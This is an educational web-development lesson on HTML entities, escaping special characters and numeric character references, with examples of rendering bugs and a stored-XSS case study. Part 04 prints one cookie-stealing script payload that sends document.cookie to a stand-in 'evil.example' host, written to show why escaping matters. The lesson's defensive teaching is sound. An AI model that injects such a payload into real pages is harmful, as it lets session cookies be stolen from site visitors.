Python · SQL · Web Dev · Java · AI/ML tracks launching soon — your one platform for all of IT
Beginner+100 XP

HTML Entities & Special Characters

Why some characters need to be escaped, the entities you will actually use, and the bugs that happen when you forget.

20 min August 2026
// Part 01 — The Problem

Why Some Characters Cannot Just Appear in Text Content

HTML has a small set of characters that carry special meaning to the parser itself — they are not ordinary text, they are syntax. The moment the parser encounters one of these characters inside what you intended as plain text content, it stops treating that text as text and starts trying to interpret it as markup instead. This module is about exactly which characters those are, the safe replacement syntax (called an entity) for writing them literally, and — just as importantly — when you genuinely do not need an entity at all.

The character that breaks everything: a literal < in text
<p>Use the < operator to compare two numbers.</p>

To a human reader, that sentence is obviously plain English. To the HTML parser, the moment it hits < it assumes a new tag is starting — because that is, structurally, exactly what < means everywhere else in an HTML document. What actually renders is either broken text, a silently swallowed fragment of your sentence, or — in the worst case — a real security vulnerability, covered fully in Part 04.

The three characters that are genuinely dangerous to leave unescaped

Of the handful of characters HTML treats specially, three matter enough that you should basically never write them raw inside text content: <, >, and &. Each has a distinct reason.

Why each of the three matters
<   starts a tag. "5 < 10" inside text content risks being parsed as the beginning of "<10"
>   closes a tag. Less dangerous alone, but should be escaped for consistency and safety
&   starts an entity reference. "Smith & Sons" risks being parsed as the start of "&Sons" — an
    incomplete/invalid entity, which browsers handle inconsistently
⚠️ Important
Browsers are forgiving about malformed markup, and that forgiveness hides bugs. A raw & not followed by anything that looks like an entity name will often render fine in every major browser today — but "often works by accident" is a different thing from "correct," and relying on parser leniency is exactly the kind of thing that breaks unpredictably across browser versions, XML-based tooling, or RSS/Atom feed parsers that are far stricter than a browser's HTML parser.
// Part 02 — Named Entities

The Named Entities You Will Actually Use

An HTML entity is a small piece of reserved syntax — starting with & and ending with ; — that the parser replaces with a specific character when rendering, rather than interpreting the surrounding text as markup. Named entities use a human-readable name between those two symbols.

The syntax pattern
&name;
The essential named entities — escaping the parser-significant characters
&amp;    →  &     (ampersand)
&lt;     →  <     (less than)
&gt;     →  >     (greater than)
&quot;   →  "      (double quote)
&apos;   →  '      (apostrophe / single quote)

These five cover the actual syntax-significant characters. &quot; and &apos; matter specifically inside attribute values — if an attribute is quoted with double quotes, a literal double quote inside that value would prematurely end the attribute, exactly the same class of problem as an unescaped < in text content.

Why quote entities matter inside attributes
<!-- Broken — the attribute value ends at the first unescaped double quote -->
<img alt="A 6" tall sculpture" src="sculpture.jpg">

<!-- Correct -->
<img alt="A 6&quot; tall sculpture" src="sculpture.jpg">

<!-- Also correct, and often cleaner — just switch the outer quote style -->
<img alt='A 6" tall sculpture' src="sculpture.jpg">

Common typographic and symbol entities

Beyond the five syntax-critical entities, a set of named entities exist purely as convenient, readable shorthand for characters that are perfectly valid to type directly as raw Unicode (covered fully in Part 03) but that are historically easy to mistype or hard to enter on some keyboards.

Common typographic entities
&nbsp;    →  (non-breaking space)
&copy;    →  ©
&reg;     →  ®
&trade;   →  ™
&mdash;   →  —     (em dash)
&ndash;   →  –     (en dash)
&hellip;  →  …     (ellipsis)
&laquo;   →  «
&raquo;   →  »
&euro;    →  €
&pound;   →  £
&cent;    →  ¢

&nbsp; deserves a special mention — it is not just a convenient way to type a space, it is a functionally different character. A normal space is a place the browser is allowed to break a line of text for wrapping; a non-breaking space forbids a line break at that exact point. This is the entity you reach for to keep something like 10<span> </span>MB visually glued together, or to stop a browser from wrapping "Mr." away from the name that follows it.

A concrete use for   — preventing an awkward line-wrap
<!-- Without &nbsp;, "10" and "MB" could end up split across two lines -->
<p>Maximum file size: 10&nbsp;MB</p>

<!-- Same idea for a number that shouldn't wrap away from its unit -->
<p>Ships in 3&nbsp;–&nbsp;5 business days.</p>
// Part 03 — Numeric Character References

Numeric Character References — The Fallback That Always Works

Named entities are convenient, but HTML does not have a named entity for every possible character — there is no &heartbeat; or a named entity for most emoji. Numeric character references solve this by referencing any Unicode character directly by its numeric code point, in either decimal or hexadecimal form.

The two numeric forms
&#169;     decimal — code point 169 → ©
&#xA9;     hexadecimal (note the x) — same code point, hex form → ©

Every named entity has an equivalent numeric form, and every numeric form works everywhere a named entity does — the reverse is not true, since not every character has a name. This makes numeric references the genuinely universal fallback: if you know a character's Unicode code point, &#code; or &#xhex; will render it correctly regardless of whether a named entity exists for it.

Characters with no convenient named entity
&#x2764;   ❤   (heavy black heart — no named entity)
&#x1F600;  😀  (grinning face emoji — no named entity)
&#8593;    ↑   (upwards arrow)
💡 Note
You will rarely type numeric references from memory in real work — they exist mainly as an escape hatch for characters without a name, or as what your editor/CMS auto-generates when you paste in special characters. Knowing they exist, and recognizing &#169; as "the numeric form of an entity, not a typo," is the practically useful part.
// Part 04 — What Actually Breaks

What Breaks, Concretely, When You Forget to Escape

It is worth seeing the actual failure modes rather than taking "you must escape these characters" on faith. Three distinct things go wrong, at three different levels of severity.

1. Visually broken or missing text

A price comparison that silently disappears
<p>Now $50, was <$80.</p>

<!-- The browser sees "<$80" and, seeing "<" is not followed by a valid tag name character
     pattern it recognizes, typically falls back to treating it as literal text in modern
     browsers -- but this behavior is NOT guaranteed and varies by exact context and parser,
     which is precisely the problem: it "usually" works, until it doesn't. -->
A genuinely broken case — a real angle-bracket pattern that IS valid tag syntax
<p>Compare using the <select> operator from the dropdown.</p>

<!-- The parser sees "<select>" and creates an ACTUAL <select> form control element
     right there in the paragraph -- not text saying the word "select" in angle brackets.
     The sentence's meaning is destroyed, and a stray empty dropdown appears on the page. -->
Fixed — escaped, and unambiguously rendered as text
<p>Compare using the &lt;select&gt; operator from the dropdown.</p>

2. Broken attribute values

Covered in Part 02 — an unescaped quote character matching the attribute's own quote style terminates the attribute early, and everything after it is parsed as if it were a new, unintended attribute or raw markup.

3. Cross-Site Scripting (XSS) — the security-critical case

This is the failure mode that matters most in real production code, and it is why this topic is not merely a formatting nitpick. If your page ever inserts user-supplied text into the DOM without escaping it, a user can submit text containing actual HTML — including a <script> tag — and have it execute as real code in every other visitor's browser.

An unescaped comment field — a genuine security hole
<!-- If "userComment" comes straight from a database with no escaping applied,
     and a user submitted this as their comment text: -->
<script>document.location = "https://evil.example/steal?cookie=" + document.cookie</script>

<!-- ...then rendering it directly into the page runs that script for every visitor
     who views the comment. This is a textbook stored XSS vulnerability. -->
<div class="comment">${userComment}</div>
⚠️ Important
This is why every serious templating system and frontend framework escapes text content by default. React escapes any string you render inside JSX automatically — you have to go out of your way, using dangerouslySetInnerHTML, to opt back into raw unescaped HTML, and that name is deliberately alarming for a reason. Server-rendered templating languages (Jinja2, ERB, Django templates) work the same way: text is escaped unless you explicitly mark it as safe. Manually escaping every character yourself is rarely how this is handled in real production code — but understanding exactly what the framework is protecting you from is what makes you trust that default, rather than fighting it.
// Part 05 — When Raw Unicode Is Fine

When You Can Just Type the Character Directly

Given everything above, it is a common overcorrection to assume every non-ASCII or special character needs an entity. That is not true, and it produces markup that is harder to read and harder to search for no real benefit. The dividing line is simple: entities exist to handle characters that are syntactically significant to the parser, or that are hard to type/see (like &nbsp;). Ordinary Unicode text — accented letters, curly quotes, em dashes, most punctuation, emoji — is completely safe to type directly, provided your document correctly declares <meta charset="UTF-8">, which you met in the Metadata & SEO module.

Perfectly fine to type directly, no entity needed
<p>Café Résumé — naïve piñata. 😀 “Curly quotes” work fine too.</p>

<!-- Equivalent using entities — technically valid, but needlessly harder to read and edit -->
<p>Caf&eacute; R&eacute;sum&eacute; &mdash; na&iuml;ve pi&ntilde;ata. &#x1F600;
&ldquo;Curly quotes&rdquo; work fine too.</p>

The first version is genuinely the better real-world choice — readable in source, easy to search-and-replace, and trivially editable by a non-technical content editor. The second version is not "more correct" — it is simply less legible for no functional gain, given a properly declared UTF-8 charset.

The one caveat: characters that are ALSO syntactically significant

The rule flips for the small set of characters covered in Parts 01–02: <, >, &, and quote characters inside attribute values. These are not a Unicode-encoding problem — UTF-8 handles them fine — they are a parsing problem, because the character itself collides with HTML's own syntax. UTF-8 support does not change that < still means "a tag is starting" to the parser. Those specific characters need entities (or numeric references) regardless of how correctly your document declares its encoding.

🎯 Pro Tip
A simple rule that covers nearly every real situation: escape <, >, and & in text content, and escape whichever quote character matches your attribute's quote style inside attribute values. Everything else — accented letters, symbols, emoji, typographic punctuation — is safe to type directly as long as the document declares UTF-8.
// Part 06 — Real World
💼 What This Looks Like at Work

A Product Review Feature at a Portland Outdoor Gear Retailer

Scenario — Outdoor gear e-commerce, Portland · Customer reviews section

A Portland-based outdoor gear retailer ships a customer reviews feature for product pages. An engineer builds the server-rendered template quickly, pulling review text straight out of the database and inserting it into the page.

The original template logic (pseudocode, matching the real bug pattern)
<div class="review-text">
  ${review.rawBodyText}
</div>

The first sign something is wrong

QA files a bug: a review that mentions "the straps are <2 inches wide, which chafes" is rendering with the entire rest of the sentence missing from that point on. The < in "<2 inches" is being parsed as the start of a tag, and everything after it is silently swallowed or misrendered depending on the browser. This alone is treated as a straightforward escaping bug and scheduled as low-priority polish.

What the security review actually finds

During a routine security review ahead of a compliance audit, an engineer flags the same underlying issue as something far more serious: because review text is inserted directly without escaping, nothing stops a submitted review from containing a real <script> tag. A proof-of-concept review containing a script tag that silently POSTs the visiting user's session cookie to an external URL is submitted in a staging environment — and it runs, for every visitor who views that product page.

The fix — escape on the way in, or escape on render, never insert raw
<!-- Server-side templating engines like Jinja2 and Django templates auto-escape by default.
     The actual bug here was a raw/unescaped output filter being used explicitly: -->

<!-- BROKEN — explicitly opted OUT of the template engine's default escaping -->
<div class="review-text">{{ review.body | safe }}</div>

<!-- FIXED — let the template engine's default auto-escaping do its job -->
<div class="review-text">{{ review.body }}</div>

The fix itself is almost trivially small — removing a filter that had explicitly disabled the template engine's default escaping, likely added months earlier to "fix" the exact visual truncation bug QA had originally filed, without understanding why the truncation was happening in the first place. The real lesson the team takes away: a visual escaping bug and a security vulnerability are very often the exact same root cause wearing two different severities, and "make the visual glitch go away" is never an acceptable fix on its own without understanding why raw markup was reaching the page.

// Part 07 — Misconceptions

Four Misconceptions About Entities and Escaping

✕ ""Every non-ASCII character — accented letters, emoji, curly quotes — needs an HTML entity""
No — as long as the document declares UTF-8 (via meta charset), ordinary Unicode text is completely safe to type directly. Entities exist for characters that are syntactically significant to the HTML parser (<, >, &, and quotes in attributes), not as a general Unicode-safety mechanism.
✕ ""&nbsp; is just a shorthand way to type a regular space""
It is a functionally different character. A regular space is a valid line-break point for text wrapping; a non-breaking space forbids the browser from wrapping a line at that position. It is used specifically to keep short pieces of text — like a number and its unit — glued together visually.
✕ ""Escaping user input is a nice-to-have that prevents ugly rendering glitches""
It is a security requirement, not a cosmetic one. Failing to escape user-supplied text before inserting it into the DOM is the direct mechanism behind stored XSS (Cross-Site Scripting) attacks — a genuinely serious, actively exploited vulnerability class, not a rendering nitpick.
✕ ""Numeric character references like &#169; are a legacy, rarely-used feature""
They are the universal fallback that works for any Unicode code point, including thousands of characters and emoji that have no named entity at all. Named entities only exist for a limited, historically defined set of characters — numeric references cover everything else.
// Part 08 — Interview Prep

5 Interview Questions — With Complete Answers

Which characters absolutely must be escaped in HTML text content, and why those specifically?
<, >, and & — because these are the characters HTML's own syntax is built from. < signals the start of a tag, > signals the end of one, and & signals the start of an entity reference. Any other character is just data to the parser; these three are structurally overloaded to also mean something in markup, which is why leaving them raw risks the parser misinterpreting plain text as structure.
What is the difference between a named entity and a numeric character reference?
A named entity (like &amp;copy;) uses a human-readable name for a specific, pre-defined set of characters. A numeric character reference (&#169; in decimal, or &#xA9; in hex) references any Unicode code point directly by number, and works for every character, including the many that have no named entity at all — emoji and less common symbols, for example.
Why is failing to escape user-generated content before rendering it a security issue, not just a display bug?
If raw user input is inserted directly into the DOM, a malicious user can submit text containing an actual <script> tag (or other executable markup, like an event handler attribute) that runs as real JavaScript in every other visitor's browser when they view that content — a stored Cross-Site Scripting (XSS) vulnerability. This can be used to steal session cookies, perform actions as the victim, or redirect them to a malicious site.
Do you need to write &eacute; instead of just typing é directly into an HTML file?
No, provided the document correctly declares <meta charset="UTF-8">. Accented letters and most other Unicode characters are ordinary text data to the HTML parser, not syntax, so they can be typed directly. Entities are for characters that collide with HTML's own syntax, or for characters that are impractical to type/see directly, like &nbsp;.
How does React (or a templating engine like Django templates) handle this problem by default, and why does that matter?
Both escape any dynamic string content automatically before rendering it — React does this for anything rendered as a JSX expression; Django/Jinja2 templates auto-escape variables unless explicitly marked safe. This means a developer does not need to manually call an escaping function on every piece of dynamic text; the framework's default behavior is the safe one, and opting out (dangerouslySetInnerHTML in React, the "safe" filter in Django templates) requires a deliberate, clearly-named action, which is a deliberate design choice to make the risky path visible in code review.
// Common Mistakes

Escaping Mistakes Beginners Make Constantly

Mistake: writing a raw ampersand in a company name or "A & B" phrase

Risky — a real entity name can start right after the &
<p>Smith & Sons Hardware</p>
Fixed
<p>Smith &amp; Sons Hardware</p>

Mistake: a literal quote character inside a same-quoted attribute value

Broken — the attribute ends at the first embedded double quote
<a title="Click "here" to continue">Continue</a>
Fixed — escape the embedded quote, or switch quote styles
<a title="Click &quot;here&quot; to continue">Continue</a>
<a title='Click "here" to continue'>Continue</a>

Mistake: showing a "less than" comparison in plain text

Broken — the parser can misread this as the start of a tag
<p>Only accept values < 100.</p>
Fixed
<p>Only accept values &lt; 100.</p>

Mistake: over-escaping ordinary Unicode text that needed no escaping at all

Unnecessary — harder to read and edit, with a properly declared UTF-8 charset
<p>Caf&eacute; &mdash; 5 st&#xE9;les</p>
Preferred — plain UTF-8 text, given a correct charset declaration
<p>Café — 5 stéles</p>

Mistake: inserting user-generated content into the page without escaping it

Broken — a real XSS vulnerability if the source is untrusted, framework-dependent example
<div class="comment">{{ userComment | safe }}</div>
Fixed — rely on the framework's default auto-escaping
<div class="comment">{{ userComment }}</div>
// Error Library

Bugs This Topic Produces — And Exactly Why

Part of a sentence silently disappears from the rendered page
Cause: A raw < character in text content happened to be followed by characters the parser recognized (or misjudged) as a valid tag name, so it started treating the rest of the line as markup instead of text.
Fix: Escape every literal < as &lt; and every literal > as &gt; in text content, especially in any sentence discussing code, math comparisons, or generic type syntax.
A stray, empty form control (like a dropdown or input) appears where it shouldn't
Cause: Text mentioning a real HTML tag name in angle brackets — e.g. "the <select> element" — was inserted unescaped, and the browser created an actual <select> element right there in the content instead of rendering the words literally.
Fix: Escape the angle brackets: &lt;select&gt;. This is especially common in technical/documentation content that discusses HTML tags by name.
An attribute value gets cut off, and unrelated attributes or broken markup appear after it
Cause: A literal quote character inside an attribute value matches the attribute's own quote style, prematurely closing the attribute. Everything after it is parsed as new (unintended) attributes on the same tag.
Fix: Escape the embedded quote as &quot; (inside double-quoted attributes) or &apos; (inside single-quoted attributes), or simply switch the attribute's outer quote style to avoid the collision.
A security scanner or code review flags a stored XSS vulnerability in a user-content field
Cause: User-submitted text is being inserted into the DOM without escaping, meaning a submitted <script> tag or an HTML attribute with an inline event handler (like onerror=) would execute as real code for anyone viewing that content.
Fix: Never disable your framework or templating engine's default auto-escaping for content sourced from users. If raw HTML genuinely must be rendered (e.g. a trusted rich-text editor's output), sanitize it through a dedicated library (like DOMPurify) — never insert it raw.
An RSS feed or XML-based tool fails to parse a page/feed that a browser renders fine
Cause: Browsers are unusually lenient about malformed markup, silently recovering from stray, unescaped &, <, or > characters in ways that stricter XML parsers will not. A feed reader or XML validator will often reject the exact same document a browser quietly "fixed" on the fly.
Fix: Escape special characters correctly rather than relying on browser leniency — this matters even more in XML-adjacent contexts (RSS/Atom feeds, sitemaps, SVG) than in ordinary HTML, since those formats are parsed strictly.

🎯 Key Takeaways

  • <, >, and & are syntactically significant to the HTML parser and should always be escaped in text content — as &lt;, &gt;, and &amp; respectively.
  • Quote characters inside attribute values need escaping (&quot; or &apos;) whenever they match the attribute's own quote style, or the attribute value ends early.
  • Named entities (&copy;, &nbsp;, &mdash;, etc.) are convenient shorthand; numeric character references (&#169; or &#xA9;) are the universal fallback that works for any Unicode code point, including characters with no named entity.
  • &nbsp; is not just a convenient space — it is a functionally different, non-breaking character used to prevent an unwanted line-wrap between two pieces of text.
  • Ordinary Unicode text (accented letters, curly quotes, emoji, most punctuation) is safe to type directly given a correctly declared UTF-8 charset — entities are not a general requirement for non-ASCII characters.
  • Failing to escape user-generated content before rendering it is a genuine security vulnerability (stored XSS), not merely a cosmetic bug — this is why React, Django templates, and most modern frameworks escape dynamic content by default.
  • Browsers are unusually lenient about unescaped special characters, which hides bugs that stricter parsers (XML, RSS/Atom feed readers) will not tolerate.

What comes next

Module 15 covers HTML best practices and validation — the W3C Markup Validator, void elements, attribute quoting conventions, and the specific mistakes the validator catches that a browser silently forgives.

Module 15 → HTML Best Practices & Validation
Share

Discussion

0

Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.

Continue with GitHub
Loading...